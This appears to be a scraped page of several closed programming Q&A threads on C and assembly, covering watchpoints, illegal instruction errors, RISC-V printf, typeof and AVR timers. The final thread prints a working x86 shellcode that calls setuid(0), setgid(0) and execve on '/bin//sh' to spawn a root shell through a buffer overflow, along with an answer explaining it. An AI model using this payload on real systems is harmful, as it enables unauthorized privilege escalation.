C - make watchpoint with assembly [closed] - c

Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 5 years ago.
Improve this question
Like what gdb do with watchpoint, I want to put a watchpoint programmatically in C. I heard that is possible with assembly. In the current time I know only for breakpoints like this instruction :
int i=0;
while(1){
i++;
if(i >= 10)
asm("int");/*break*/
}
After searching, it exist a possibility to display assembly's instruction using TUI mode and reuse it in my program but it doesn't work.
gdb -q ./prog -tui
gdb: TUI mode is not supported
Thanks for help.

On x86, to make a hardware watchpoint, you'll need to program one of the debug registers. You can start here.

Related

is illegal hardware instruction caused by running a file that is too large on your program? [closed]

Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 2 years ago.
Improve this question
I made a binary search tree in c that works on a file with 1200 words. So i made a file with 27,000 words and got this error.
administrator#macbookpro ~ % gcc tree.c
administrator#macbookpro ~ % ./a.out < words.txt
zsh: illegal hardware instruction ./a.out < words.tx
The size of the input file itself will not cause an illegal hardware instruction fault in your program. Errors in your program can cause that, and those errors can be triggered by various factors, including the size of the input file.
There is a bug in your program.

How to implement the printf function in risc-v? [closed]

Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 3 years ago.
Improve this question
Here's the C representation of what I'm trying to do in RISC-V assembly:
printf ("x=%d\n", x);
https://godbolt.org/ is an interesting site. If you paste in c code, it can be transfered into others, such as RISC-V assembly. The sample c code is available from menie.org/georges/embedded/small_printf_source_code.html. It does work. Good luck.
Here is a very simple printf (actually only integers and strings and no advanced formatting)
https://godbolt.org/z/sgMVs7
It is not my code - it is tiny ptinf from the atolic studio. But it is a good base to implement something simple but more decent.

C: recognize variable type [closed]

Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 7 years ago.
Improve this question
I'm learning C. I wonder whether there is an instruction or command to recognize the type of the variable.
To be more practical: I have a program which works with integers, I want to show an error message if the user inserts a real number when running the program.
Hope you can help!
This is not part of the C standard, but GCC has the typeof keyword.
You have to be using the GCC compiler for it though.

getting value from Timer0 AVR [closed]

Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 7 years ago.
Improve this question
I am currently writing a program in AVR Studio 4 in which i would like to use the Timer to get a random number.
I can get the timer to run, however i do not know how to get the current value of the timer. In general can the value be stored in a register or is it not accessible.
Thanks
Don't worry got it sorted. I managed to figure out that my program never got past 1 and managed to figure out how to store the values.

Interpreting a shellcode [closed]

Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 8 years ago.
Improve this question
I am calling a shellcode using buffer overflow to spawn a root shell. Can somebody explain what this shellcode exactly does? I have tried different shellcodes to spawn a root shell, but this was the only one which worked for me.
\x31\xdb\x89\xd8\xb0\x17\xcd\x80\x31\xdb
\x89\xd8\xb0\x2e\xcd\x80\x31\xc0\x50\x68
\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89
\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd
\x80
On first glance, the code appears to do setuid(0), then setgid(0), then call sys_execve() on some values (which include ASCII codes for "/bin//sh").
Looks like this is pure "payload" code, since I don't see anything to ensure the code is executed on the first place (buffer overflow, stack smashing, etc.).
(Thanks to #Hans Lub for the disassembler link)

Resources